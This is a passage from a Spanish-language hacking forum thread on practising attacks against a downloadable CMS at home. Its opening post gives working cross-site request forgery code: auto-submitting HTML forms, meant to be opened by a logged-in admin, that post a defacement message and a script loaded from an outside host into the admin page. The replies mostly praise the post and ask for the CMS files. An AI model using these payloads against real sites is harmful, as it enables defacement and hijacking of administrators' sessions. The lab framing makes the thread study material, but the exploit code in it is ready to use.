Guardamos eso como exploit.html y lo subimos a algun hosting, en el ejemplo yo voy a usar You are not allowed to view links. Register or Login. Después le mandamos eso al admin cuando esté logueado, este lo abre y si su navegador ejecuta javascript (noscript al rescate You are not allowed to view links. Register or Login), va a enviar "OWNED" a su web.

El cms no filtra el contenido cuando es enviado ni cuando es mostrado, ya que confia en el administrador. Esto permite insertar html o javascript. Si queremos poner caracteres especiales, hay que pasar lo del textarea por htmlentities para que el navegador lo interprete bien (You are not allowed to view links. Register or Login). Suponiendo que quiero poner "<h1>owned by >> s E t H <<", el html queda así:
Código: You are not allowed to view links. Register or Login
<html><body>
<form action="http://localhost/cms/whoami/admin.php" method="POST" name="exploit">
<textarea name="nuevocomentario" cols="100" rows="20">&lt;h1&gt;owned by &amp;gt;&amp;gt; s E t H &amp;lt;&amp;lt;  </textarea>
<input type="submit" value="Enviar">
</form>
<script>exploit.submit()</script>
</body></form>

Podemos defacear con este código: You are not allowed to view links. Register or Login
Para el html armamos la llamada al script, lo codificamos con htmlentities y queda asi:
Código: You are not allowed to view links. Register or Login
&lt;script src=&quot;http://vuln.xssed.net/thirdparty/scripts/ckers.org.js&quot;&gt;&lt;/script&gt;El html final:
Código: You are not allowed to view links. Register or Login
<html><body>
<form action="http://localhost/cms/whoami/admin.php" method="POST" name="exploit">
<textarea name="nuevocomentario" cols="100" rows="20">&lt;script src=&quot;http://vuln.xssed.net/thirdparty/scripts/ckers.org.js&quot;&gt;&lt;/script&gt;</textarea>
<input type="submit" value="Enviar">
</form>
<script>exploit.submit()</script>
</body></form>

Listo, "You are not allowed to view links. Register or Login"
« Última modificación: Junio 26, 2009, 07:50:00 pm por >> s E t H << »

Desconectado seth

  • El mas real
  • Moderador
  • *****
  • Mensajes: 7889
  • Sexo: Masculino
    • Ver Perfil
Re: Probando en casa
« Respuesta #6 en: Agosto 14, 2009, 05:56:18 pm »
Los links caducaron y yo perdí el cms. Si alguien lo tiene, lo puede volver a subir?

Desconectado S[e]C

  • Me das tu IP?
  • *
  • Mensajes: 142
  • I am mine.
    • Ver Perfil
    • ANSI Coder
Re: Probando en casa
« Respuesta #7 en: Agosto 18, 2009, 04:18:35 pm »
Quien tiene el CMS que me lo facilite porfavor , ya que seth lo perdio :P

PD: Ojala sigas este tema seth, esta muy bien explicado, te felicito bro =) .
.

« Última modificación: Agosto 18, 2009, 04:19:46 pm por s[e]C »
Educad a los niños y no será necesario castigar a los hombres - Pitagoras.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Desconectado DarkGatox

  • Yo vivo en CPH
  • ***
  • Mensajes: 478
  • Sexo: Masculino
    • Ver Perfil
Re: Probando en casa
« Respuesta #8 en: Agosto 18, 2009, 04:30:22 pm »
yo lo tengo aca lo uploadeo
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Desconectado S[e]C

  • Me das tu IP?
  • *
  • Mensajes: 142
  • I am mine.
    • Ver Perfil
    • ANSI Coder
Re: Probando en casa
« Respuesta #9 en: Agosto 18, 2009, 04:46:48 pm »
Muchas gracias compañero¡ =D , ahora a probar .


Desconectado [N]E[Z]

  • Yo vivo en CPH
  • ***
  • Mensajes: 591
  • Finalrevenge
    • Ver Perfil
Re: Probando en casa
« Respuesta #10 en: Marzo 05, 2010, 06:44:19 am »
Buenisimo!
Me copo ese de la cookie  :laugh:

Desconectado trashhgoo

  • Yo vivo en CPH
  • ***
  • Mensajes: 592
  • Sexo: Masculino
  • CPH since 2005
    • Ver Perfil
Re: Probando en casa
« Respuesta #11 en: Marzo 05, 2010, 07:16:23 am »
Cita de: >> s E t H <<
Cualquier duda, opinion, consejo, amenaza,
insulto, comentario, etc. va en
You are not allowed to view links. Register or Login

Cierro el post.

:temacerrado:
Cuando algo deja de mejorar, deja de ser bueno

Desconectado echun

  • Me das tu IP?
  • *
  • Mensajes: 2
    • Ver Perfil
Re: Probando en casa
« Respuesta #12 en: Febrero 04, 2011, 08:53:07 am »
Muy groso men!!!!

Desconectado pablich

  • Me das tu IP?
  • *
  • Mensajes: 18
  • El conocimiento no es delito
    • Ver Perfil
Re: Probando en casa
« Respuesta #13 en: Febrero 06, 2011, 09:04:21 pm »
Excelente!!!  ;D


El Hack es la escencia, la fama una consecuencia...

Desconectado _ANTRAX_

  • Yo vivo en CPH
  • ***
  • Mensajes: 535
  • Sexo: Masculino
    • Ver Perfil
Re: Probando en casa
« Respuesta #14 en: Abril 27, 2011, 02:46:52 pm »
En la primera parte que dices que seleccionemos idioma y recarguemos ami no me muestra ninguna cookie, por que?
ﮕﺾﻙﻈﻑﻚ


xx
Probando en casa 2

Iniciado por seth

10 Respuestas
1861 Vistas
Último mensaje Junio 27, 2013, 06:33:00 pm
por seth
xx
Dudas sobre "Probando en casa"

Iniciado por The X-C3LL

18 Respuestas
7936 Vistas
Último mensaje Febrero 25, 2012, 03:45:44 pm
por c0nc3pt
xx
Probando Excel

Iniciado por zuper0

0 Respuestas
1549 Vistas
Último mensaje Noviembre 03, 2009, 08:23:21 pm
por zuper0
xx
Probando troyanos ¿el mejor?

Iniciado por Dash_h

8 Respuestas
1749 Vistas
Último mensaje Agosto 06, 2009, 04:35:01 pm
por .vZ'~
xx
probando subir foto xD

Iniciado por Explout

2 Respuestas
1188 Vistas
Último mensaje Agosto 31, 2010, 11:23:54 pm
por Explout
xx
Probando con Remote desktop

Iniciado por josebalboa

5 Respuestas
1762 Vistas
Último mensaje Agosto 10, 2007, 08:39:30 pm
por Pancho111
question
Probando FastTrack, Tengo una duda.

Iniciado por vicluber

7 Respuestas
2846 Vistas
Último mensaje Marzo 14, 2011, 12:54:01 am
por soez
exclamation
[Verificar]Probando Polimetría Batch - JaAViEr.

Iniciado por JaAViEr

3 Respuestas
1211 Vistas
Último mensaje Mayo 20, 2010, 03:49:13 pm
por GilgamesHCo
xx
Probando Hardware: Errores, funcionamiento y estabilidad.

Iniciado por chicahack

3 Respuestas
1174 Vistas
Último mensaje Marzo 31, 2010, 04:07:33 am
por chicahack
exclamation
Google está probando nueva página de resultados en su buscador

Iniciado por cemasmas

3 Respuestas
1001 Vistas
Último mensaje Mayo 07, 2011, 07:14:46 pm
por WaesWaes